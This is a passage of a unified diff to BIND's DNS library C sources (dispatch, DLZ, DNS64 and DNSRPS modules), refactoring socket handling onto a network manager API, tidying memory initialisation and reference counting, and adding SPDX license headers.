-			      unsigned int mask) {
-	REQUIRE(VALID_DISPATCH(disp));
-	/* Exclusive attribute can only be set on creation */
-	REQUIRE((attributes & DNS_DISPATCHATTR_EXCLUSIVE) == 0);
-	/* Also, a dispatch with randomport specified cannot start listening */
-	REQUIRE((disp->attributes & DNS_DISPATCHATTR_EXCLUSIVE) == 0 ||
-		(attributes & DNS_DISPATCHATTR_NOLISTEN) == 0);
-
-	/* XXXMLG
-	 * Should check for valid attributes here!
-	 */
+	dispentry_log(resp, LVL(90), "resume");
 
 	LOCK(&disp->lock);
-
-	if ((mask & DNS_DISPATCHATTR_NOLISTEN) != 0) {
-		if ((disp->attributes & DNS_DISPATCHATTR_NOLISTEN) != 0 &&
-		    (attributes & DNS_DISPATCHATTR_NOLISTEN) == 0)
-		{
-			disp->attributes &= ~DNS_DISPATCHATTR_NOLISTEN;
-			(void)startrecv(disp, NULL);
-		} else if ((disp->attributes & DNS_DISPATCHATTR_NOLISTEN) ==
-				   0 &&
-			   (attributes & DNS_DISPATCHATTR_NOLISTEN) != 0)
-		{
-			disp->attributes |= DNS_DISPATCHATTR_NOLISTEN;
-			if (disp->recv_pending != 0) {
-				isc_socket_cancel(disp->socket, disp->task[0],
-						  ISC_SOCKCANCEL_RECV);
-			}
-		}
+	switch (disp->socktype) {
+	case isc_socktype_udp: {
+		udp_dispatch_getnext(resp, timeout);
+		break;
+	}
+	case isc_socktype_tcp:
+		INSIST(disp->timedout > 0);
+		disp->timedout--;
+		tcp_dispatch_getnext(disp, resp, timeout);
+		break;
+	default:
+		UNREACHABLE();
 	}
 
-	disp->attributes &= ~mask;
-	disp->attributes |= (attributes & mask);
 	UNLOCK(&disp->lock);
 }
 
 void
-dns_dispatch_importrecv(dns_dispatch_t *disp, isc_event_t *event) {
-	void *buf;
-	isc_socketevent_t *sevent, *newsevent;
+dns_dispatch_send(dns_dispentry_t *resp, isc_region_t *r) {
+	REQUIRE(VALID_RESPONSE(resp));
+	REQUIRE(VALID_DISPATCH(resp->disp));
+
+	dns_dispatch_t *disp = resp->disp;
+	isc_nmhandle_t *sendhandle = NULL;
+
+	dispentry_log(resp, LVL(90), "sending");
+	switch (disp->socktype) {
+	case isc_socktype_udp:
+		isc_nmhandle_attach(resp->handle, &sendhandle);
+		break;
+	case isc_socktype_tcp:
+		isc_nmhandle_attach(disp->handle, &sendhandle);
+		break;
+	default:
+		UNREACHABLE();
+	}
+	dns_dispentry_ref(resp); /* DISPENTRY007 */
+	isc_nm_send(sendhandle, r, send_done, resp);
+}
 
+isc_result_t
+dns_dispatch_getlocaladdress(dns_dispatch_t *disp, isc_sockaddr_t *addrp) {
 	REQUIRE(VALID_DISPATCH(disp));
-	REQUIRE(event != NULL);
+	REQUIRE(addrp != NULL);
 
-	if ((disp->attributes & DNS_DISPATCHATTR_NOLISTEN) == 0) {
-		return;
+	if (disp->socktype == isc_socktype_udp) {
+		*addrp = disp->local;
+		return (ISC_R_SUCCESS);
 	}
+	return (ISC_R_NOTIMPLEMENTED);
+}
 
-	sevent = (isc_socketevent_t *)event;
-	INSIST(sevent->n <= disp->mgr->buffersize);
+isc_result_t
+dns_dispentry_getlocaladdress(dns_dispentry_t *resp, isc_sockaddr_t *addrp) {
+	REQUIRE(VALID_RESPONSE(resp));
+	REQUIRE(VALID_DISPATCH(resp->disp));
+	REQUIRE(addrp != NULL);
 
-	newsevent = (isc_socketevent_t *)isc_event_allocate(
-		disp->mgr->mctx, NULL, DNS_EVENT_IMPORTRECVDONE, udp_shrecv,
-		disp, sizeof(isc_socketevent_t));
+	dns_dispatch_t *disp = resp->disp;
 
-	buf = allocate_udp_buffer(disp);
-	if (buf == NULL) {
-		isc_event_free(ISC_EVENT_PTR(&newsevent));
-		return;
+	switch (disp->socktype) {
+	case isc_socktype_tcp:
+		*addrp = disp->local;
+		return (ISC_R_SUCCESS);
+	case isc_socktype_udp:
+		*addrp = isc_nmhandle_localaddr(resp->handle);
+		return (ISC_R_SUCCESS);
+	default:
+		UNREACHABLE();
 	}
-	memmove(buf, sevent->region.base, sevent->n);
-	newsevent->region.base = buf;
-	newsevent->region.length = disp->mgr->buffersize;
-	newsevent->n = sevent->n;
-	newsevent->result = sevent->result;
-	newsevent->address = sevent->address;
-	newsevent->timestamp = sevent->timestamp;
-	newsevent->pktinfo = sevent->pktinfo;
-	newsevent->attributes = sevent->attributes;
-
-	isc_task_send(disp->task[0], ISC_EVENT_PTR(&newsevent));
 }
 
 dns_dispatch_t *
 dns_dispatchset_get(dns_dispatchset_t *dset) {
-	dns_dispatch_t *disp;
+	dns_dispatch_t *disp = NULL;
 
 	/* check that dispatch set is configured */
 	if (dset == NULL || dset->ndisp == 0) {
@@ -3615,41 +2272,36 @@ dns_dispatchset_get(dns_dispatchset_t *dset) {
 }
 
 isc_result_t
-dns_dispatchset_create(isc_mem_t *mctx, isc_socketmgr_t *sockmgr,
-		       isc_taskmgr_t *taskmgr, dns_dispatch_t *source,
+dns_dispatchset_create(isc_mem_t *mctx, dns_dispatch_t *source,
 		       dns_dispatchset_t **dsetp, int n) {
 	isc_result_t result;
-	dns_dispatchset_t *dset;
-	dns_dispatchmgr_t *mgr;
+	dns_dispatchset_t *dset = NULL;
+	dns_dispatchmgr_t *mgr = NULL;
 	int i, j;
 
 	REQUIRE(VALID_DISPATCH(source));
-	REQUIRE((source->attributes & DNS_DISPATCHATTR_UDP) != 0);
+	REQUIRE(source->socktype == isc_socktype_udp);
 	REQUIRE(dsetp != NULL && *dsetp == NULL);
 
 	mgr = source->mgr;
 
 	dset = isc_mem_get(mctx, sizeof(dns_dispatchset_t));
-	memset(dset, 0, sizeof(*dset));
+	*dset = (dns_dispatchset_t){ .ndisp = n };
 
 	isc_mutex_init(&dset->lock);
 
-	dset->dispatches = isc_mem_get(mctx, sizeof(dns_dispatch_t *) * n);
+	dset->dispatches = isc_mem_cget(mctx, n, sizeof(dns_dispatch_t *));
 
 	isc_mem_attach(mctx, &dset->mctx);
-	dset->ndisp = n;
-	dset->cur = 0;
 
 	dset->dispatches[0] = NULL;
-	dns_dispatch_attach(source, &dset->dispatches[0]);
+	dns_dispatch_attach(source, &dset->dispatches[0]); /* DISPATCH004 */
 
 	LOCK(&mgr->lock);
 	for (i = 1; i < n; i++) {
 		dset->dispatches[i] = NULL;
-		result = dispatch_createudp(
-			mgr, sockmgr, taskmgr, &source->local,
-			source->maxrequests, source->attributes,
-			&dset->dispatches[i], source->socket);
+		result = dispatch_createudp(mgr, &source->local,
+					    &dset->dispatches[i]);
 		if (result != ISC_R_SUCCESS) {
 			goto fail;
 		}
@@ -3664,9 +2316,9 @@ dns_dispatchset_create(isc_mem_t *mctx, isc_socketmgr_t *sockmgr,
 	UNLOCK(&mgr->lock);
 
 	for (j = 0; j < i; j++) {
-		dns_dispatch_detach(&(dset->dispatches[j]));
+		dns_dispatch_detach(&(dset->dispatches[j])); /* DISPATCH004 */
 	}
-	isc_mem_put(mctx, dset->dispatches, sizeof(dns_dispatch_t *) * n);
+	isc_mem_cput(mctx, dset->dispatches, n, sizeof(dns_dispatch_t *));
 	if (dset->mctx == mctx) {
 		isc_mem_detach(&dset->mctx);
 	}
@@ -3676,22 +2328,9 @@ dns_dispatchset_create(isc_mem_t *mctx, isc_socketmgr_t *sockmgr,
 	return (result);
 }
 
-void
-dns_dispatchset_cancelall(dns_dispatchset_t *dset, isc_task_t *task) {
-	int i;
-
-	REQUIRE(dset != NULL);
-
-	for (i = 0; i < dset->ndisp; i++) {
-		isc_socket_t *sock;
-		sock = dns_dispatch_getsocket(dset->dispatches[i]);
-		isc_socket_cancel(sock, task, ISC_SOCKCANCEL_ALL);
-	}
-}
-
 void
 dns_dispatchset_destroy(dns_dispatchset_t **dsetp) {
-	dns_dispatchset_t *dset;
+	dns_dispatchset_t *dset = NULL;
 	int i;
 
 	REQUIRE(dsetp != NULL && *dsetp != NULL);
@@ -3699,37 +2338,21 @@ dns_dispatchset_destroy(dns_dispatchset_t **dsetp) {
 	dset = *dsetp;
 	*dsetp = NULL;
 	for (i = 0; i < dset->ndisp; i++) {
-		dns_dispatch_detach(&(dset->dispatches[i]));
+		dns_dispatch_detach(&(dset->dispatches[i])); /* DISPATCH004 */
 	}
-	isc_mem_put(dset->mctx, dset->dispatches,
-		    sizeof(dns_dispatch_t *) * dset->ndisp);
+	isc_mem_cput(dset->mctx, dset->dispatches, dset->ndisp,
+		     sizeof(dns_dispatch_t *));
 	isc_mutex_destroy(&dset->lock);
 	isc_mem_putanddetach(&dset->mctx, dset, sizeof(dns_dispatchset_t));
 }
 
-void
-dns_dispatch_setdscp(dns_dispatch_t *disp, isc_dscp_t dscp) {
-	REQUIRE(VALID_DISPATCH(disp));
-	disp->dscp = dscp;
-}
-
-isc_dscp_t
-dns_dispatch_getdscp(dns_dispatch_t *disp) {
+isc_result_t
+dns_dispatch_checkperm(dns_dispatch_t *disp) {
 	REQUIRE(VALID_DISPATCH(disp));
-	return (disp->dscp);
-}
 
-#if 0
-void
-dns_dispatchmgr_dump(dns_dispatchmgr_t *mgr) {
-	dns_dispatch_t *disp;
-	char foo[1024];
-
-	disp = ISC_LIST_HEAD(mgr->list);
-	while (disp != NULL) {
-		isc_sockaddr_format(&disp->local, foo, sizeof(foo));
-		printf("\tdispatch %p, addr %s\n", disp, foo);
-		disp = ISC_LIST_NEXT(disp, link);
+	if (disp->handle == NULL || disp->socktype == isc_socktype_udp) {
+		return (ISC_R_NOPERM);
 	}
+
+	return (isc_nm_xfr_checkperm(disp->handle));
 }
-#endif /* if 0 */
diff --git a/lib/dns/dlz.c b/lib/dns/dlz.c
index 760a7d5727..475d6849cd 100644
--- a/lib/dns/dlz.c
+++ b/lib/dns/dlz.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -56,7 +58,9 @@
 #include <isc/commandline.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
+#include <isc/netmgr.h>
 #include <isc/once.h>
+#include <isc/random.h>
 #include <isc/rwlock.h>
 #include <isc/string.h>
 #include <isc/util.h>
@@ -79,14 +83,14 @@ static isc_once_t once = ISC_ONCE_INIT;
 
 static void
 dlz_initialize(void) {
-	isc_rwlock_init(&dlz_implock, 0, 0);
+	isc_rwlock_init(&dlz_implock);
 	ISC_LIST_INIT(dlz_implementations);
 }
 
 /*%
  * Searches the dlz_implementations list for a driver matching name.
  */
-static inline dns_dlzimplementation_t *
+static dns_dlzimplementation_t *
 dlz_impfind(const char *name) {
 	dns_dlzimplementation_t *imp;
 
@@ -162,7 +166,7 @@ dns_dlzcreate(isc_mem_t *mctx, const char *dlzname, const char *drivername,
 	 * initialize the dlz_implementations list, this is guaranteed
 	 * to only really happen once.
 	 */
-	RUNTIME_CHECK(isc_once_do(&once, dlz_initialize) == ISC_R_SUCCESS);
+	isc_once_do(&once, dlz_initialize);
 
 	/*
 	 * Performs checks to make sure data is as we expect it to be.
@@ -195,13 +199,12 @@ dns_dlzcreate(isc_mem_t *mctx, const char *dlzname, const char *drivername,
 	}
 
 	/* Allocate memory to hold the DLZ database driver */
-	db = isc_mem_get(mctx, sizeof(dns_dlzdb_t));
-
-	/* Make sure memory region is set to all 0's */
-	memset(db, 0, sizeof(dns_dlzdb_t));
+	db = isc_mem_get(mctx, sizeof(*db));
+	*db = (dns_dlzdb_t){
+		.implementation = impinfo,
+	};
 
 	ISC_LINK_INIT(db, link);
-	db->implementation = impinfo;
 	if (dlzname != NULL) {
 		db->dlzname = isc_mem_strdup(mctx, dlzname);
 	}
@@ -210,25 +213,25 @@ dns_dlzcreate(isc_mem_t *mctx, const char *dlzname, const char *drivername,
 	result = ((impinfo->methods->create)(mctx, dlzname, argc, argv,
 					     impinfo->driverarg, &db->dbdata));
 
+	RWUNLOCK(&dlz_implock, isc_rwlocktype_read);
 	/* mark the DLZ driver as valid */
-	if (result == ISC_R_SUCCESS) {
-		RWUNLOCK(&dlz_implock, isc_rwlocktype_read);
-		db->magic = DNS_DLZ_MAGIC;
-		isc_mem_attach(mctx, &db->mctx);
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
-			      "DLZ driver loaded successfully.");
-		*dbp = db;
-		return (ISC_R_SUCCESS);
-	} else {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "DLZ driver failed to load.");
+	if (result != ISC_R_SUCCESS) {
+		goto failure;
 	}
 
+	db->magic = DNS_DLZ_MAGIC;
+	isc_mem_attach(mctx, &db->mctx);
+	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
+		      ISC_LOG_DEBUG(2), "DLZ driver loaded successfully.");
+	*dbp = db;
+	return (ISC_R_SUCCESS);
+failure:
+	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
+		      ISC_LOG_ERROR, "DLZ driver failed to load.");
+
 	/* impinfo->methods->create failed. */
-	RWUNLOCK(&dlz_implock, isc_rwlocktype_read);
-	isc_mem_put(mctx, db, sizeof(dns_dlzdb_t));
+	isc_mem_free(mctx, db->dlzname);
+	isc_mem_put(mctx, db, sizeof(*db));
 	return (result);
 }
 
@@ -260,7 +263,7 @@ dns_dlzdestroy(dns_dlzdb_t **dbp) {
 	destroy = db->implementation->methods->destroy;
 	(*destroy)(db->implementation->driverarg, db->dbdata);
 	/* return memory and detach */
-	isc_mem_putanddetach(&db->mctx, db, sizeof(dns_dlzdb_t));
+	isc_mem_putanddetach(&db->mctx, db, sizeof(*db));
 }
 
 /*%
@@ -293,7 +296,7 @@ dns_dlzregister(const char *drivername, const dns_dlzmethods_t *methods,
 	 * initialize the dlz_implementations list, this is guaranteed
 	 * to only really happen once.
 	 */
-	RUNTIME_CHECK(isc_once_do(&once, dlz_initialize) == ISC_R_SUCCESS);
+	isc_once_do(&once, dlz_initialize);
 
 	/* lock the dlz_implementations list so we can modify it. */
 	RWLOCK(&dlz_implock, isc_rwlocktype_write);
@@ -315,16 +318,12 @@ dns_dlzregister(const char *drivername, const dns_dlzmethods_t *methods,
 	 * Allocate memory for a dlz_implementation object.  Error if
 	 * we cannot.
 	 */
-	dlz_imp = isc_mem_get(mctx, sizeof(dns_dlzimplementation_t));
-
-	/* Make sure memory region is set to all 0's */
-	memset(dlz_imp, 0, sizeof(dns_dlzimplementation_t));
-
-	/* Store the data passed into this method */
-	dlz_imp->name = drivername;
-	dlz_imp->methods = methods;
-	dlz_imp->mctx = NULL;
-	dlz_imp->driverarg = driverarg;
+	dlz_imp = isc_mem_get(mctx, sizeof(*dlz_imp));
+	*dlz_imp = (dns_dlzimplementation_t){
+		.name = drivername,
+		.methods = methods,
+		.driverarg = driverarg,
+	};
 
 	/* attach the new dlz_implementation object to a memory context */
 	isc_mem_attach(mctx, &dlz_imp->mctx);
@@ -378,7 +377,7 @@ dns_dlzunregister(dns_dlzimplementation_t **dlzimp) {
 	 * initialize the dlz_implementations list, this is guaranteed
 	 * to only really happen once.
 	 */
-	RUNTIME_CHECK(isc_once_do(&once, dlz_initialize) == ISC_R_SUCCESS);
+	isc_once_do(&once, dlz_initialize);
 
 	dlz_imp = *dlzimp;
 
@@ -401,7 +400,7 @@ dns_dlzunregister(dns_dlzimplementation_t **dlzimp) {
 /*
  * Create a writeable DLZ zone. This can be called by DLZ drivers
  * during configure() to create a zone that can be updated. The zone
- * type is set to dns_zone_dlz, which is equivalent to a master zone
+ * type is set to dns_zone_dlz, which is equivalent to a primary zone
  *
  * This function uses a callback setup in dns_dlzconfigure() to call
  * into the server zone code to setup the remaining pieces of server
@@ -442,7 +441,7 @@ dns_dlz_writeablezone(dns_view_t *view, dns_dlzdb_t *dlzdb,
 	}
 
 	/* See if the zone already exists */
-	result = dns_view_findzone(view, origin, &dupzone);
+	result = dns_view_findzone(view, origin, DNS_ZTFIND_EXACT, &dupzone);
 	if (result == ISC_R_SUCCESS) {
 		dns_zone_detach(&dupzone);
 		result = ISC_R_EXISTS;
@@ -451,10 +450,7 @@ dns_dlz_writeablezone(dns_view_t *view, dns_dlzdb_t *dlzdb,
 	INSIST(dupzone == NULL);
 
 	/* Create it */
-	result = dns_zone_create(&zone, view->mctx);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_zone_create(&zone, view->mctx, 0);
 	result = dns_zone_setorigin(zone, origin);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
@@ -464,11 +460,7 @@ dns_dlz_writeablezone(dns_view_t *view, dns_dlzdb_t *dlzdb,
 	dns_zone_setadded(zone, true);
 
 	if (dlzdb->ssutable == NULL) {
-		result = dns_ssutable_createdlz(dlzdb->mctx, &dlzdb->ssutable,
-						dlzdb);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
+		dns_ssutable_createdlz(dlzdb->mctx, &dlzdb->ssutable, dlzdb);
 	}
 	dns_zone_setssutable(zone, dlzdb->ssutable);
 
diff --git a/lib/dns/dns64.c b/lib/dns/dns64.c
index cc99a1639e..b575726009 100644
--- a/lib/dns/dns64.c
+++ b/lib/dns/dns64.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,6 +17,7 @@
 #include <isc/list.h>
 #include <isc/mem.h>
 #include <isc/netaddr.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
@@ -22,7 +25,6 @@
 #include <dns/dns64.h>
 #include <dns/rdata.h>
 #include <dns/rdataset.h>
-#include <dns/result.h>
 
 struct dns_dns64 {
 	unsigned char bits[16]; /*
@@ -126,7 +128,7 @@ dns_dns64_destroy(dns_dns64_t **dns64p) {
 
 isc_result_t
 dns_dns64_aaaafroma(const dns_dns64_t *dns64, const isc_netaddr_t *reqaddr,
-		    const dns_name_t *reqsigner, const dns_aclenv_t *env,
+		    const dns_name_t *reqsigner, dns_aclenv_t *env,
 		    unsigned int flags, unsigned char *a, unsigned char *aaaa) {
 	unsigned int nbytes, i;
 	isc_result_t result;
@@ -210,7 +212,7 @@ dns_dns64_unlink(dns_dns64list_t *list, dns_dns64_t *dns64) {
 
 bool
 dns_dns64_aaaaok(const dns_dns64_t *dns64, const isc_netaddr_t *reqaddr,
-		 const dns_name_t *reqsigner, const dns_aclenv_t *env,
+		 const dns_name_t *reqsigner, dns_aclenv_t *env,
 		 unsigned int flags, dns_rdataset_t *rdataset, bool *aaaaok,
 		 size_t aaaaoklen) {
 	struct in6_addr in6;
diff --git a/lib/dns/dnsrps.c b/lib/dns/dnsrps.c
index f12065664e..26fce6253e 100644
--- a/lib/dns/dnsrps.c
+++ b/lib/dns/dnsrps.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -24,23 +26,24 @@
 
 #include <dns/db.h>
 #define LIBRPZ_LIB_OPEN DNSRPS_LIB_OPEN
+#include <isc/result.h>
+
 #include <dns/dnsrps.h>
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
-#include <dns/result.h>
 #include <dns/rpz.h>
 
-librpz_t *librpz;
+librpz_t *librpz = NULL;
 librpz_emsg_t librpz_lib_open_emsg;
-static void *librpz_handle;
+static void *librpz_handle = NULL;
 
 #define RPSDB_MAGIC	   ISC_MAGIC('R', 'P', 'Z', 'F')
 #define VALID_RPSDB(rpsdb) ((rpsdb)->common.impmagic == RPSDB_MAGIC)
 
-#define RD_DB(r)      ((r)->private1)
-#define RD_CUR_RR(r)  ((r)->private2)
+#define RD_DB(r)      ((r)->rps.db)
+#define RD_CUR_RR(r)  ((r)->rps.iter_pos)
 #define RD_NEXT_RR(r) ((r)->resign)
-#define RD_COUNT(r)   ((r)->privateuint4)
+#define RD_COUNT(r)   ((r)->rps.iter_count)
 
 typedef struct {
 	dns_rdatasetiter_t common;
@@ -95,12 +98,6 @@ dnsrps_log_fnc(librpz_log_level_t level, void *ctxt, const char *buf) {
 	}
 
 	switch (level) {
-	case LIBRPZ_LOG_FATAL:
-	case LIBRPZ_LOG_ERROR: /* errors */
-	default:
-		isc_level = DNS_RPZ_ERROR_LEVEL;
-		break;
-
 	case LIBRPZ_LOG_TRACE1: /* big events such as dnsrpzd starts */
 		isc_level = DNS_RPZ_INFO_LEVEL;
 		break;
@@ -116,6 +113,12 @@ dnsrps_log_fnc(librpz_log_level_t level, void *ctxt, const char *buf) {
 	case LIBRPZ_LOG_TRACE4: /* librpz lookups */
 		isc_level = DNS_RPZ_DEBUG_LEVEL3;
 		break;
+
+	case LIBRPZ_LOG_FATAL:
+	case LIBRPZ_LOG_ERROR: /* errors */
+	default:
+		isc_level = DNS_RPZ_ERROR_LEVEL;
+		break;
 	}
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_RPZ, DNS_LOGMODULE_RBTDB,
 		      isc_level, "dnsrps: %s", buf);
@@ -126,7 +129,7 @@ dnsrps_log_fnc(librpz_log_level_t level, void *ctxt, const char *buf) {
  *	This is not thread safe, but it is called by a single thread.
  */
 isc_result_t
-dns_dnsrps_server_create(void) {
+dns_dnsrps_server_create(const char *librpz_path) {
 	librpz_emsg_t emsg;
 
 	INSIST(clist == NULL);
@@ -137,14 +140,9 @@ dns_dnsrps_server_create(void) {
 	 * Notice if librpz is available.
 	 */
 	librpz = librpz_lib_open(&librpz_lib_open_emsg, &librpz_handle,
-				 DNSRPS_LIBRPZ_PATH);
-	/*
-	 * Stop now without complaining if librpz is not available.
-	 * Complain later if and when librpz is needed for a view with
-	 * "dnsrps-enable yes" (including the default view).
-	 */
+				 librpz_path);
 	if (librpz == NULL) {
-		return (ISC_R_SUCCESS);
+		return (ISC_R_FILENOTFOUND);
 	}
 
 	isc_mutex_init(&dnsrps_mutex);
@@ -173,7 +171,7 @@ dns_dnsrps_server_destroy(void) {
 		librpz->clist_detach(&clist);
 	}
 
-#ifdef LIBRPZ_USE_DLOPEN
+#if DNSRPS_LIB_OPEN == 2
 	if (librpz != NULL) {
 		INSIST(librpz_handle != NULL);
 		if (dlclose(librpz_handle) != 0) {
@@ -182,8 +180,9 @@ dns_dnsrps_server_destroy(void) {
 				      "dnsrps: dlclose(): %s", dlerror());
 		}
 		librpz_handle = NULL;
+		librpz = NULL;
 	}
-#endif /* ifdef LIBRPZ_USE_DLOPEN */
+#endif
 }
 
 /*
@@ -252,10 +251,17 @@ isc_result_t
 dns_dnsrps_rewrite_init(librpz_emsg_t *emsg, dns_rpz_st_t *st,
 			dns_rpz_zones_t *rpzs, const dns_name_t *qname,
 			isc_mem_t *mctx, bool have_rd) {
-	rpsdb_t *rpsdb;
+	dns_rpsdb_t *rpsdb = NULL;
 
 	rpsdb = isc_mem_get(mctx, sizeof(*rpsdb));
-	memset(rpsdb, 0, sizeof(*rpsdb));
+	*rpsdb = (dns_rpsdb_t){
+		.common = {
+			.methods = &rpsdb_db_methods,
+			.rdclass = dns_rdataclass_in,
+		},
+		.qname = qname,
+	};
+	isc_refcount_init(&rpsdb->common.references, 1);
 
 	if (!librpz->rsp_create(emsg, &rpsdb->rsp, NULL, rpzs->rps_client,
 				have_rd, false))
@@ -270,14 +276,9 @@ dns_dnsrps_rewrite_init(librpz_emsg_t *emsg, dns_rpz_st_t *st,
 
 	rpsdb->common.magic = DNS_DB_MAGIC;
 	rpsdb->common.impmagic = RPSDB_MAGIC;
-	rpsdb->common.methods = &rpsdb_db_methods;
-	rpsdb->common.rdclass = dns_rdataclass_in;
 	dns_name_init(&rpsdb->common.origin, NULL);
 	isc_mem_attach(mctx, &rpsdb->common.mctx);
 
-	rpsdb->ref_cnt = 1;
-	rpsdb->qname = qname;
-
 	st->rpsdb = &rpsdb->common;
 	return (ISC_R_SUCCESS);
 }
@@ -308,8 +309,7 @@ dns_dnsrps_2policy(librpz_policy_t rps_policy) {
 	case LIBRPZ_POLICY_GIVEN:
 	case LIBRPZ_POLICY_DISABLED:
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -319,9 +319,6 @@ dns_dnsrps_2policy(librpz_policy_t rps_policy) {
 dns_rpz_type_t
 dns_dnsrps_trig2type(librpz_trig_t trig) {
 	switch (trig) {
-	case LIBRPZ_TRIG_BAD:
-	default:
-		return (DNS_RPZ_TYPE_BAD);
 	case LIBRPZ_TRIG_CLIENT_IP:
 		return (DNS_RPZ_TYPE_CLIENT_IP);
 	case LIBRPZ_TRIG_QNAME:
@@ -332,6 +329,9 @@ dns_dnsrps_trig2type(librpz_trig_t trig) {
 		return (DNS_RPZ_TYPE_NSDNAME);
 	case LIBRPZ_TRIG_NSIP:
 		return (DNS_RPZ_TYPE_NSIP);
+	case LIBRPZ_TRIG_BAD:
+	default:
+		return (DNS_RPZ_TYPE_BAD);
 	}
 }
 
@@ -341,9 +341,6 @@ dns_dnsrps_trig2type(librpz_trig_t trig) {
 librpz_trig_t
 dns_dnsrps_type2trig(dns_rpz_type_t type) {
 	switch (type) {
-	case DNS_RPZ_TYPE_BAD:
-	default:
-		return (LIBRPZ_TRIG_BAD);
 	case DNS_RPZ_TYPE_CLIENT_IP:
 		return (LIBRPZ_TRIG_CLIENT_IP);
 	case DNS_RPZ_TYPE_QNAME:
@@ -354,75 +351,53 @@ dns_dnsrps_type2trig(dns_rpz_type_t type) {
 		return (LIBRPZ_TRIG_NSDNAME);
 	case DNS_RPZ_TYPE_NSIP:
 		return (LIBRPZ_TRIG_NSIP);
+	case DNS_RPZ_TYPE_BAD:
+	default:
+		return (LIBRPZ_TRIG_BAD);
 	}
 }
 
 static void
-rpsdb_attach(dns_db_t *source, dns_db_t **targetp) {
-	rpsdb_t *rpsdb = (rpsdb_t *)source;
-
-	REQUIRE(VALID_RPSDB(rpsdb));
-
-	/*
-	 * Use a simple count because only one thread uses any single rpsdb_t
-	 */
-	++rpsdb->ref_cnt;
-	*targetp = source;
-}
-
-static void
-rpsdb_detach(dns_db_t **dbp) {
-	rpsdb_t *rpsdb = (rpsdb_t *)*dbp;
+rpsdb_destroy(dns_db_t *db) {
+	dns_rpsdb_t *rpsdb = (dns_rpsdb_t *)db;
 
 	REQUIRE(VALID_RPSDB(rpsdb));
-	REQUIRE(rpsdb->ref_cnt > 0);
-
-	*dbp = NULL;
-
-	/*
-	 * Simple count because only one thread uses a rpsdb_t.
-	 */
-	if (--rpsdb->ref_cnt != 0) {
-		return;
-	}
 
 	librpz->rsp_detach(&rpsdb->rsp);
+	isc_refcount_destroy(&rpsdb->common.references);
 	rpsdb->common.impmagic = 0;
 	isc_mem_putanddetach(&rpsdb->common.mctx, rpsdb, sizeof(*rpsdb));
 }
 
 static void
 rpsdb_attachnode(dns_db_t *db, dns_dbnode_t *source, dns_dbnode_t **targetp) {
-	rpsdb_t *rpsdb = (rpsdb_t *)db;
+	dns_rpsdb_t *rpsdb = (dns_rpsdb_t *)db;
 
 	REQUIRE(VALID_RPSDB(rpsdb));
 	REQUIRE(targetp != NULL && *targetp == NULL);
 	REQUIRE(source == &rpsdb->origin_node || source == &rpsdb->data_node);
 
-	/*
-	 * Simple count because only one thread uses a rpsdb_t.
-	 */
-	++rpsdb->ref_cnt;
+	isc_refcount_increment(&rpsdb->common.references);
 	*targetp = source;
 }
 
 static void
 rpsdb_detachnode(dns_db_t *db, dns_dbnode_t **targetp) {
-	rpsdb_t *rpsdb = (rpsdb_t *)db;
+	dns_rpsdb_t *rpsdb = (dns_rpsdb_t *)db;
 
 	REQUIRE(VALID_RPSDB(rpsdb));
 	REQUIRE(*targetp == &rpsdb->origin_node ||
 		*targetp == &rpsdb->data_node);
 
 	*targetp = NULL;
-	rpsdb_detach(&db);
+	dns_db_detach(&db);
 }
 
 static isc_result_t
 rpsdb_findnode(dns_db_t *db, const dns_name_t *name, bool create,
 	       dns_dbnode_t **nodep) {
-	rpsdb_t *rpsdb = (rpsdb_t *)db;
-	dns_db_t *dbp;
+	dns_rpsdb_t *rpsdb = (dns_rpsdb_t *)db;
+	dns_db_t *dbp = NULL;
 
 	REQUIRE(VALID_RPSDB(rpsdb));
 	REQUIRE(nodep != NULL && *nodep == NULL);
@@ -438,8 +413,8 @@ rpsdb_findnode(dns_db_t *db, const dns_name_t *name, bool create,
 	} else {
 		*nodep = &rpsdb->data_node;
 	}
-	dbp = NULL;
-	rpsdb_attach(db, &dbp);
+
+	dns_db_attach(db, &dbp);
 
 	return (ISC_R_SUCCESS);
 }
@@ -447,8 +422,8 @@ rpsdb_findnode(dns_db_t *db, const dns_name_t *name, bool create,
 static void
 rpsdb_bind_rdataset(dns_rdataset_t *rdataset, uint count, librpz_idx_t next_rr,
 		    dns_rdatatype_t type, uint16_t class, uint32_t ttl,
-		    rpsdb_t *rpsdb) {
-	dns_db_t *dbp;
+		    dns_rpsdb_t *rpsdb) {
+	dns_db_t *dbp = NULL;
 
 	INSIST(rdataset->methods == NULL); /* We must be disassociated. */
